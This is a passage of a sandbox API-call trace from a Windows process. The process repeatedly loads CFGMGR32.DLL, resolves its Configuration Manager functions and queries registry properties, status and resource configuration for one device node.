_Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0220.348] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e6b8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0220.349] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa650) returned 1 [0220.349] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855e60) returned 1 [0220.349] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0220.349] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0220.350] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0220.350] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0220.350] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0220.350] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0220.350] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0220.350] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0220.350] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0220.350] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0220.351] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0220.351] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0220.351] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0220.351] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0220.351] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0220.351] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0220.351] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0220.352] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0220.352] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0220.352] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0220.352] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0220.352] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0220.352] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0220.352] malloc (_Size=0x18) returned 0x196ef0d1f60 [0220.353] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x15, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0220.355] malloc (_Size=0x48) returned 0x196ef0fbd10 [0220.355] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6431ef5d, dwHighDateTime=0x1d9eb0c)) [0220.356] SetEvent (hEvent=0x248) returned 1 [0220.359] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0220.359] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0220.359] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0220.359] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0220.359] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0220.359] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0220.359] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0220.360] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0220.360] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0220.360] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0220.360] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0220.360] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0220.360] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0220.360] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0220.360] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0220.361] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0220.361] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0220.443] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0220.443] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0220.444] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0220.444] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0220.444] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0220.444] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0220.445] malloc (_Size=0x18) returned 0x196ef0d1d60 [0220.445] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x15, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0220.445] malloc (_Size=0x48) returned 0x196ef0fc080 [0220.445] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x64405618, dwHighDateTime=0x1d9eb0c)) [0220.445] SetEvent (hEvent=0x248) returned 1 [0220.448] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0220.448] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0220.449] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0220.449] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0220.449] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0220.449] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0220.449] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0220.449] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0220.449] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0220.450] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0220.450] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0220.450] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0220.450] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0220.450] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0220.450] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0220.450] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0220.451] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0220.451] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0220.451] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0220.451] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0220.451] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0220.451] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0220.451] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0220.451] malloc (_Size=0x18) returned 0x196ef0d1de0 [0220.452] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x15, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0220.452] malloc (_Size=0x48) returned 0x196ef0fb720 [0220.452] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x64405618, dwHighDateTime=0x1d9eb0c)) [0220.452] SetEvent (hEvent=0x248) returned 1 [0220.455] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0220.456] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0220.456] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0220.456] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0220.456] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0220.456] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0220.456] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0220.456] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0220.457] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0220.457] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0220.457] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0220.457] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0220.457] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0220.457] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0220.457] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0220.457] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0220.458] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0220.458] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0220.458] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0220.458] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0220.458] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0220.458] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0220.458] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0220.459] malloc (_Size=0x18) returned 0x196ef0d20e0 [0220.459] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x15, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0220.459] malloc (_Size=0x48) returned 0x196ef0fb770 [0220.459] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x64429c76, dwHighDateTime=0x1d9eb0c)) [0220.459] SetEvent (hEvent=0x248) returned 1 [0220.464] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0220.464] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0220.464] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0220.464] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0220.465] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0220.465] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0220.465] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0220.465] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0220.465] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0220.465] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0220.465] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0220.465] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0220.466] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0220.466] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0220.466] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0220.466] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0220.466] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0220.466] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0220.466] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0220.467] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0220.467] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0220.467] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0220.467] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0220.467] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0220.467] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x15, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0220.469] malloc (_Size=0x48) returned 0x196ef0fb860 [0220.470] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x64429c76, dwHighDateTime=0x1d9eb0c)) [0220.470] SetEvent (hEvent=0x248) returned 1 [0220.474] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0220.474] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0220.474] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0220.474] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0220.475] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0220.475] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0220.475] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0220.475] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0220.475] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0220.475] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0220.475] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0220.475] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0220.476] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0220.476] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0220.476] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0220.476] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0220.476] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0220.476] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0220.476] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0220.477] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0220.477] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0220.477] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0220.477] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0220.477] malloc (_Size=0x18) returned 0x196ef0d1ec0 [0220.477] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x15, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0220.477] malloc (_Size=0x48) returned 0x196ef0fb590 [0220.477] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x6444fce2, dwHighDateTime=0x1d9eb0c)) [0220.478] SetEvent (hEvent=0x248) returned 1 [0220.482] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0220.482] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0220.482] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0220.482] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0220.482] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0220.482] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0220.482] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0220.483] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0220.483] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0220.483] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0220.483] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0220.483] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0220.483] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0220.483] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0220.483] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0220.484] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0220.484] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0220.484] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0220.484] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0220.484] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0220.484] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0220.484] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0220.484] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0220.485] malloc (_Size=0x18) returned 0x196ef0d1f60 [0220.485] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x15, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0220.485] malloc (_Size=0x48) returned 0x196ef0fbb30 [0220.485] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x6444fce2, dwHighDateTime=0x1d9eb0c)) [0220.485] SetEvent (hEvent=0x248) returned 1 [0220.548] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0220.548] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0220.548] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0220.548] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0220.549] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0220.549] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0220.549] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0220.549] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0220.549] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0220.549] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0220.550] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0220.550] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0220.550] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0220.550] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0220.550] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0220.550] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0220.551] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0220.551] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0220.551] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0220.551] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0220.551] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0220.551] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0220.552] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0220.552] malloc (_Size=0x18) returned 0x196ef0d1f20 [0220.552] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x15, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0220.552] malloc (_Size=0x48) returned 0x196ef0fbef0 [0220.552] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6450ebad, dwHighDateTime=0x1d9eb0c)) [0220.552] SetEvent (hEvent=0x248) returned 1 [0220.557] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0220.557] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0220.557] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0220.557] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0220.558] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0220.558] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0220.558] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0220.558] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0220.558] GetProcAddress 